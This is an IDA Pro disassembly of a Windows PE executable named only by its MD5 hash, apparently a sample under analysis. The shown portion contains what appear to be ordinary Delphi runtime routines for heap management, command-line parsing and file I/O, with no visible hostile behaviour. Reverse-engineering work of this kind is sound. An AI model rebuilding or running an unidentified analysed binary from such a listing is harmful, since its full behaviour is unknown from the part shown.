; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : DED3CB4260863738ADC1DDD47E64FCB7 ; File Name : u:\work\ded3cb4260863738adc1ddd47e64fcb7_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000071F9 ( 29177.) ; Section size in file : 00007200 ( 29184.) ; Offset to raw data for section: 00000400 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_401000 dd offset dword_401004 ; DATA XREF: CODE:00403A2Eo ; CODE:00404385o ... dword_401004 dd 7453060Ah, 676E6972h ; DATA XREF: CODE:off_401000o off_40100C dd offset dword_401058 ; DATA XREF: CODE:00403A00o dd 7 dup(0) dd offset dword_401058 dd 4, 0 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_401058 dd 624F5407h, 7463656Ah ; DATA XREF: CODE:off_40100Co ; CODE:0040102Co ; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION HeapAlloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION HeapReAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION HeapFree. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetFileType. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetSystemTime. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO EXPAND] align 4 loc_4010E8: ; DATA XREF: sub_402428o jmp ds:RaiseException ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ReadFile. PRESS KEYPAD "+" TO EXPAND] align 4 loc_4010F8: ; DATA XREF: sub_402428+Ao jmp ds:RtlUnwind ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FindClose. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION lstrcpynA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SysFreeString. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_4011B0 proc near ; CODE XREF: sub_401200+4p ; sub_401230+3Fp ; DATA XREF: ... push eax ; dwBytes mov eax, ds:dwFlags push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapAlloc retn sub_4011B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4011C4 proc near ; CODE XREF: sub_401218+4p ; sub_401230+26p ; DATA XREF: ... push ebx mov ebx, eax push ebx ; lpMem mov eax, ds:dwFlags and eax, 1 push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapFree cmp eax, 1 sbb eax, eax neg eax and eax, 7Fh pop ebx retn sub_4011C4 endp ; =============== S U B R O U T I N E ======================================= sub_4011E8 proc near ; CODE XREF: sub_401230+Dp ; DATA XREF: DATA:off_409050o push edx ; dwBytes push eax ; lpMem mov eax, ds:dwFlags and eax, 0 push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapReAlloc retn sub_4011E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401200 proc near ; CODE XREF: sub_401F08+Ap ; sub_402688+Cp test eax, eax jz short locret_40120E call ds:off_409048 or eax, eax jz short loc_40120F locret_40120E: ; CODE XREF: sub_401200+2j retn ; --------------------------------------------------------------------------- loc_40120F: ; CODE XREF: sub_401200+Cj mov al, 1 jmp loc_4012D8 sub_401200 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401218 proc near ; CODE XREF: sub_401F24+Cp ; sub_4025C8+1Bp ... test eax, eax jz short locret_401226 call ds:off_40904C or eax, eax jnz short loc_401227 locret_401226: ; CODE XREF: sub_401218+2j retn ; --------------------------------------------------------------------------- loc_401227: ; CODE XREF: sub_401218+Cj mov al, 2 jmp loc_4012D8 sub_401218 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401230 proc near ; CODE XREF: sub_402BC0+22p ; FUNCTION CHUNK AT 004012D8 SIZE 0000000B BYTES mov ecx, [eax] test ecx, ecx jz short loc_401268 test edx, edx jz short loc_401252 push eax mov eax, ecx call ds:off_409050 pop ecx or eax, eax jz short loc_401261 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_40124B: ; CODE XREF: sub_401230+2Ej mov al, 2 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_401252: ; CODE XREF: sub_401230+8j mov [eax], edx mov eax, ecx call ds:off_40904C or eax, eax jnz short loc_40124B retn ; --------------------------------------------------------------------------- loc_401261: ; CODE XREF: sub_401230+16j ; sub_401230+48j mov al, 1 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_401268: ; CODE XREF: sub_401230+4j test edx, edx jz short locret_40127C push eax mov eax, edx call ds:off_409048 pop ecx or eax, eax jz short loc_401261 mov [ecx], eax locret_40127C: ; CODE XREF: sub_401230+3Aj retn sub_401230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401280 proc near ; CODE XREF: sub_40128C+42p mov ds:dword_409004, edx call sub_4025B0 sub_401280 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40128C proc near ; CODE XREF: sub_401230+AEj push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_40A008, 0 jz short loc_4012A8 mov edx, esi mov eax, ebx call ds:dword_40A008 loc_4012A8: ; CODE XREF: sub_40128C+10j test bl, bl jnz short loc_4012B9 call sub_4034D8 mov ebx, [eax+4] jmp short loc_4012C8 ; --------------------------------------------------------------------------- loc_4012B9: ; CODE XREF: sub_40128C+1Ej cmp bl, 18h ja short loc_4012C8 xor eax, eax mov al, bl mov bl, ds:byte_409054[eax] loc_4012C8: ; CODE XREF: sub_40128C+2Bj ; sub_40128C+30j xor eax, eax mov al, bl mov edx, esi call sub_401280 sub_40128C endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401230 loc_4012D8: ; CODE XREF: sub_401200+11j ; sub_401218+11j ... and eax, 7Fh mov edx, [esp+0] jmp sub_40128C ; END OF FUNCTION CHUNK FOR sub_401230 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4012E4 proc near ; CODE XREF: CODE:00405858p ; CODE:00407ECFp ... push eax push edx push ecx call sub_4034D8 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_4012F9 retn ; --------------------------------------------------------------------------- loc_4012F9: ; CODE XREF: sub_4012E4+12j xor eax, eax jmp loc_4012D8 sub_4012E4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401304 proc near ; CODE XREF: sub_401314+5p ; sub_4017E8+3Cp ... push ebx mov ebx, eax call sub_4034D8 mov [eax+4], ebx pop ebx retn sub_401304 endp ; =============== S U B R O U T I N E ======================================= sub_401314 proc near ; CODE XREF: sub_4019A0+17p call GetLastError call sub_401304 retn sub_401314 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401320 proc near ; CODE XREF: sub_405AA0+7p ; CODE:00407ED4p push ebx call sub_4034D8 mov ebx, [eax+4] call sub_4034D8 xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_401320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401340 proc near ; CODE XREF: sub_401780+4Fp ; sub_401948+14p ... cmp ecx, 4 jge short loc_401361 jcxz locret_40139F cmp eax, edx jz short locret_40139F push esi push edi mov esi, eax mov edi, edx ja short loc_40135D lea esi, [ecx+esi-1] lea edi, [ecx+edi-1] std loc_40135D: ; CODE XREF: sub_401340+12j rep movsb jmp short loc_40138D ; --------------------------------------------------------------------------- loc_401361: ; CODE XREF: sub_401340+3j cmp eax, edx jz short locret_40139F push esi push edi mov esi, eax mov edi, edx mov eax, ecx ja short loc_40138F and ecx, 3 lea esi, [eax+esi-1] lea edi, [eax+edi-1] std rep movsb sar eax, 2 mov ecx, eax mov eax, 3 sub esi, eax sub edi, eax rep movsd loc_40138D: ; CODE XREF: sub_401340+1Fj cld dec ecx loc_40138F: ; CODE XREF: sub_401340+2Dj sar ecx, 2 js short loc_40139D rep movsd and eax, 3 mov ecx, eax rep movsb loc_40139D: ; CODE XREF: sub_401340+52j pop edi pop esi locret_40139F: ; CODE XREF: sub_401340+5j ; sub_401340+Aj ... retn sub_401340 endp ; =============== S U B R O U T I N E ======================================= sub_4013A0 proc near ; CODE XREF: sub_40148C+41p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_4013B2 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4013A0+1Aj push ebx ; lpsz call CharNextA mov ebx, eax loc_4013B2: ; CODE XREF: sub_4013A0+8j ; sub_4013A0+2Aj mov al, [ebx] test al, al jz short loc_4013BC cmp al, 20h jbe short loc_4013AA loc_4013BC: ; CODE XREF: sub_4013A0+16j cmp byte ptr [ebx], 22h jnz short loc_4013CC cmp byte ptr [ebx+1], 22h jnz short loc_4013CC add ebx, 2 jmp short loc_4013B2 ; --------------------------------------------------------------------------- loc_4013CC: ; CODE XREF: sub_4013A0+1Fj ; sub_4013A0+25j xor ebp, ebp mov edi, ebx jmp short loc_401415 ; --------------------------------------------------------------------------- loc_4013D2: ; CODE XREF: sub_4013A0+79j cmp al, 22h jnz short loc_401407 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_4013EE ; --------------------------------------------------------------------------- loc_4013E0: ; CODE XREF: sub_4013A0+56j push ebx ; lpsz call CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_4013EE: ; CODE XREF: sub_4013A0+3Ej mov al, [ebx] test al, al jz short loc_4013F8 cmp al, 22h jnz short loc_4013E0 loc_4013F8: ; CODE XREF: sub_4013A0+52j cmp byte ptr [ebx], 0 jz short loc_401415 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_401415 ; --------------------------------------------------------------------------- loc_401407: ; CODE XREF: sub_4013A0+34j push ebx ; lpsz call CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_401415: ; CODE XREF: sub_4013A0+30j ; sub_4013A0+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_4013D2 mov eax, esi mov edx, ebp call sub_402BC0 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_40147D ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: sub_4013A0+E1j cmp al, 22h jnz short loc_401468 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_40144F ; --------------------------------------------------------------------------- loc_40143A: ; CODE XREF: sub_4013A0+B7j push ebx ; lpsz call CharNextA cmp eax, ebx jbe short loc_40144F loc_401444: ; CODE XREF: sub_4013A0+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_401444 loc_40144F: ; CODE XREF: sub_4013A0+98j ; sub_4013A0+A2j mov al, [ebx] test al, al jz short loc_401459 cmp al, 22h jnz short loc_40143A loc_401459: ; CODE XREF: sub_4013A0+B3j cmp byte ptr [ebx], 0 jz short loc_40147D push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_40147D ; --------------------------------------------------------------------------- loc_401468: ; CODE XREF: sub_4013A0+8Ej push ebx ; lpsz call CharNextA cmp eax, ebx jbe short loc_40147D loc_401472: ; CODE XREF: sub_4013A0+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_401472 loc_40147D: ; CODE XREF: sub_4013A0+8Aj ; sub_4013A0+BCj ... mov al, [ebx] cmp al, 20h ja short loc_40142C mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_4013A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40148C proc near ; CODE XREF: CODE:00407F68p Filename = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_4025C8 test esi, esi jnz short loc_4014C2 push 105h ; nSize lea eax, [esp+118h+Filename] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_4026B4 jmp short loc_4014E0 ; --------------------------------------------------------------------------- loc_4014C2: ; CODE XREF: sub_40148C+16j call GetCommandLineA mov edi, eax loc_4014C9: ; CODE XREF: sub_40148C+52j mov edx, ebx mov eax, edi call sub_4013A0 mov edi, eax test esi, esi jz short loc_4014E0 cmp dword ptr [ebx], 0 jz short loc_4014E0 dec esi jmp short loc_4014C9 ; --------------------------------------------------------------------------- loc_4014E0: ; CODE XREF: sub_40148C+34j ; sub_40148C+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_40148C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014EC proc near ; CODE XREF: CODE:loc_407E76p SystemTime = _SYSTEMTIME ptr -18h push ebp mov ebp, esp add esp, 0FFFFFFE8h lea eax, [ebp+SystemTime] push eax ; lpSystemTime call GetSystemTime movzx eax, [ebp+SystemTime.wHour] imul eax, 3Ch add ax, [ebp+SystemTime.wMinute] imul eax, 3Ch xor edx, edx mov dx, [ebp+SystemTime.wSecond] add eax, edx imul eax, 3E8h mov dx, [ebp+SystemTime.wMilliseconds] add eax, edx mov ds:dword_409008, eax mov esp, ebp pop ebp retn sub_4014EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401528 proc near ; DATA XREF: CODE:00401604o push ebx mov ebx, eax xor eax, eax mov [ebx+10h], eax xor eax, eax mov [ebx+0Ch], eax push 0 ; lpOverlapped lea eax, [ebx+10h] push eax ; lpNumberOfBytesRead mov eax, [ebx+8] push eax ; nNumberOfBytesToRead mov eax, [ebx+14h] push eax ; lpBuffer mov eax, [ebx] push eax ; hFile call ReadFile test eax, eax jnz short loc_40155D call GetLastError cmp eax, 6Dh jnz short loc_40155F xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_40155D: ; CODE XREF: sub_401528+25j xor eax, eax loc_40155F: ; CODE XREF: sub_401528+2Fj pop ebx retn sub_401528 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401564 proc near ; DATA XREF: CODE:0040163Bo ; CODE:0040170Bo ... xor eax, eax retn sub_401564 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401568 proc near ; DATA XREF: CODE:loc_40162Do ; CODE:00401753o NumberOfBytesWritten= dword ptr -0Ch push ebx push esi push ecx mov ebx, eax mov esi, [ebx+0Ch] test esi, esi jnz short loc_401578 xor eax, eax jmp short loc_40159E ; --------------------------------------------------------------------------- loc_401578: ; CODE XREF: sub_401568+Aj push 0 ; lpOverlapped lea eax, [esp+10h+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push esi ; nNumberOfBytesToWrite mov eax, [ebx+14h] push eax ; lpBuffer mov eax, [ebx] push eax ; hFile call WriteFile test eax, eax jnz short loc_401597 call GetLastError jmp short loc_401599 ; --------------------------------------------------------------------------- loc_401597: ; CODE XREF: sub_401568+26j xor eax, eax loc_401599: ; CODE XREF: sub_401568+2Dj xor edx, edx mov [ebx+0Ch], edx loc_40159E: ; CODE XREF: sub_401568+Ej pop edx pop esi pop ebx retn sub_401568 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015A4 proc near ; CODE XREF: sub_4015B4+Bp ; sub_4019A0+Ep push ebx mov ebx, eax push ebx ; hObject call CloseHandle dec eax setz al pop ebx retn sub_4015A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015B4 proc near ; DATA XREF: CODE:loc_401634o push ebx mov ebx, eax mov word ptr [ebx+4], 0D7B0h mov eax, [ebx] call sub_4015A4 test al, al jnz short loc_4015CF call GetLastError pop ebx retn ; --------------------------------------------------------------------------- loc_4015CF: ; CODE XREF: sub_4015B4+12j xor eax, eax pop ebx retn sub_4015B4 endp ; --------------------------------------------------------------------------- align 4 loc_4015D4: ; DATA XREF: sub_401780+35o push esi mov esi, eax xor eax, eax mov [esi+0Ch], eax mov [esi+10h], eax mov ax, [esi+4] sub eax, 0D7B1h jz short loc_4015F5 dec eax jz short loc_40160D dec eax jz short loc_40161E jmp loc_40175C ; --------------------------------------------------------------------------- loc_4015F5: ; CODE XREF: CODE:004015E8j mov eax, 80000000h mov edx, 1 mov ecx, 3 mov dword ptr [esi+1Ch], offset sub_401528 jmp short loc_401634 ; --------------------------------------------------------------------------- loc_40160D: ; CODE XREF: CODE:004015EBj mov eax, 40000000h mov edx, 1 mov ecx, 2 jmp short loc_40162D ; --------------------------------------------------------------------------- loc_40161E: ; CODE XREF: CODE:004015EEj mov eax, 0C0000000h mov edx, 1 mov ecx, 3 loc_40162D: ; CODE XREF: CODE:0040161Cj mov dword ptr [esi+1Ch], offset sub_401568 loc_401634: ; CODE XREF: CODE:0040160Bj mov dword ptr [esi+24h], offset sub_4015B4 mov dword ptr [esi+20h], offset sub_401564 cmp byte ptr [esi+48h], 0 jz loc_4016FE push 0 push 80h push ecx push 0 push edx push eax lea eax, [esi+48h] push eax call CreateFileA cmp eax, 0FFFFFFFFh jz loc_401772 mov [esi], eax cmp word ptr [esi+4], 0D7B3h jnz loc_40173B dec word ptr [esi+4] push 0 push dword ptr [esi] call GetFileSize inc eax jz loc_401772 sub eax, 81h jnb short loc_401695 xor eax, eax loc_401695: ; CODE XREF: CODE:00401691j push 0 push 0 push eax push dword ptr [esi] call SetFilePointer inc eax jz loc_401772 push 0 mov edx, esp push 0 push edx push 80h lea edx, [esi+14Ch] push edx push dword ptr [esi] call ReadFile pop edx dec eax jnz loc_401772 xor eax, eax loc_4016CC: ; CODE XREF: CODE:004016DBj cmp eax, edx jnb short loc_40173B cmp byte ptr [esi+eax+14Ch], 0Eh jz short loc_4016DD inc eax jmp short loc_4016CC ; --------------------------------------------------------------------------- loc_4016DD: ; CODE XREF: CODE:004016D8j push 2 push 0 sub eax, edx push eax push dword ptr [esi] call SetFilePointer inc eax jz loc_401772 push dword ptr [esi] call SetEndOfFile dec eax jnz short loc_401772 jmp short loc_40173B ; --------------------------------------------------------------------------- loc_4016FE: ; CODE XREF: CODE:00401646j lea eax, [esi+14Ch] mov dword ptr [esi+8], 80h mov dword ptr [esi+24h], offset sub_401564 mov [esi+14h], eax cmp word ptr [esi+4], 0D7B2h jz short loc_401721 push 0FFFFFFF6h jmp short loc_40172F ; --------------------------------------------------------------------------- loc_401721: ; CODE XREF: CODE:0040171Bj cmp esi, offset dword_40A3D8 jnz short loc_40172D push 0FFFFFFF4h jmp short loc_40172F ; --------------------------------------------------------------------------- loc_40172D: ; CODE XREF: CODE:00401727j push 0FFFFFFF5h loc_40172F: ; CODE XREF: CODE:0040171Fj ; CODE:0040172Bj call GetStdHandle cmp eax, 0FFFFFFFFh jz short loc_401772 mov [esi], eax loc_40173B: ; CODE XREF: CODE:00401672j ; CODE:004016CEj ... cmp word ptr [esi+4], 0D7B1h jz short loc_40175A push dword ptr [esi] call GetFileType test eax, eax jz short loc_40175E cmp eax, 2 jnz short loc_40175A mov dword ptr [esi+20h], offset sub_401568 loc_40175A: ; CODE XREF: CODE:00401741j ; CODE:00401751j xor eax, eax loc_40175C: ; CODE XREF: CODE:004015F0j ; CODE:00401770j ... pop esi retn ; --------------------------------------------------------------------------- loc_40175E: ; CODE XREF: CODE:0040174Cj push dword ptr [esi] call CloseHandle mov word ptr [esi+4], 0D7B0h mov eax, 69h jmp short loc_40175C ; --------------------------------------------------------------------------- loc_401772: ; CODE XREF: CODE:00401664j ; CODE:00401686j ... mov word ptr [esi+4], 0D7B0h call GetLastError jmp short loc_40175C ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_401780 proc near ; CODE XREF: CODE:00407EBBp push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx xor ecx, ecx mov edx, 14Ch call sub_401964 lea eax, [ebx+14Ch] mov [ebx+14h], eax mov word ptr [ebx+4], 0D7B0h xor eax, eax mov al, ds:byte_40901C mov [ebx+6], ax mov dword ptr [ebx+8], 80h mov dword ptr [ebx+18h], offset loc_4015D4 mov eax, esi call sub_402840 push eax mov eax, esi call sub_402A38 lea edx, [ebx+48h] pop ecx call sub_401340 mov eax, esi call sub_402840 mov byte ptr [ebx+eax+48h], 0 xor eax, eax pop esi pop ebx retn sub_401780 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4017E8 proc near ; CODE XREF: sub_401830+3p push ebx mov cx, [eax+4] sub cx, 0D7B1h jz short loc_401803 dec ecx sub cx, 2 jnb short loc_401807 mov ebx, edx call ebx mov ebx, eax jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401803: ; CODE XREF: sub_4017E8+Aj xor ebx, ebx jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401807: ; CODE XREF: sub_4017E8+11j cmp eax, offset dword_40A20C jz short loc_401815 cmp eax, offset dword_40A3D8 jnz short loc_401819 loc_401815: ; CODE XREF: sub_4017E8+24j xor ebx, ebx jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401819: ; CODE XREF: sub_4017E8+2Bj mov ebx, 67h loc_40181E: ; CODE XREF: sub_4017E8+19j ; sub_4017E8+1Dj ... test ebx, ebx jz short loc_401829 mov eax, ebx call sub_401304 loc_401829: ; CODE XREF: sub_4017E8+38j mov eax, ebx pop ebx retn sub_4017E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401830 proc near ; CODE XREF: CODE:00405853p mov edx, [eax+1Ch] call sub_4017E8 retn sub_401830 endp ; --------------------------------------------------------------------------- align 4 loc_40183C: ; DATA XREF: sub_4018D0+Do jmp ds:__imp_WriteFile ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401844 proc near ; CODE XREF: sub_4018D0+14p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, [ebp+arg_8] movzx edx, word ptr [ebx+4] and edx, eax cmp eax, edx jnz short loc_4018B6 push 0 lea eax, [ebp+var_4] push eax mov eax, [ebx+8] imul esi push eax push edi mov eax, [ebx] push eax call [ebp+arg_4] test eax, eax jnz short loc_401886 call GetLastError call sub_401304 xor eax, eax mov [ebp+var_4], eax jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_401886: ; CODE XREF: sub_401844+2Fj mov eax, [ebp+var_4] xor edx, edx div dword ptr [ebx+8] mov [ebp+var_4], eax mov eax, [ebp+arg_C] test eax, eax jz short loc_4018A2 mov eax, [ebp+arg_C] mov edx, [ebp+var_4] mov [eax], edx jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_4018A2: ; CODE XREF: sub_401844+52j cmp esi, [ebp+var_4] jz short loc_4018C5 mov eax, [ebp+arg_0] call sub_401304 xor eax, eax mov [ebp+var_4], eax jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_4018B6: ; CODE XREF: sub_401844+18j mov eax, 67h call sub_401304 xor eax, eax mov [ebp+var_4], eax loc_4018C5: ; CODE XREF: sub_401844+40j ; sub_401844+5Cj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn 10h sub_401844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: CODE:00407EFAp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push 0D7B2h push offset loc_40183C push 65h call sub_401844 pop ebx pop ebp retn 4 sub_4018D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4018F0 proc near ; CODE XREF: CODE:00407F09p push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_40192F cmp ax, 0D7B3h ja short loc_40192F and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_401917 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_401917: ; CODE XREF: sub_4018F0+1Ej test esi, esi jnz short loc_401922 mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_401922: ; CODE XREF: sub_4018F0+29j test esi, esi jz short loc_401941 mov eax, esi call sub_401304 jmp short loc_401941 ; --------------------------------------------------------------------------- loc_40192F: ; CODE XREF: sub_4018F0+Ej ; sub_4018F0+14j cmp ebx, offset dword_40A040 jz short loc_401941 mov eax, 67h call sub_401304 loc_401941: ; CODE XREF: sub_4018F0+34j ; sub_4018F0+3Dj ... 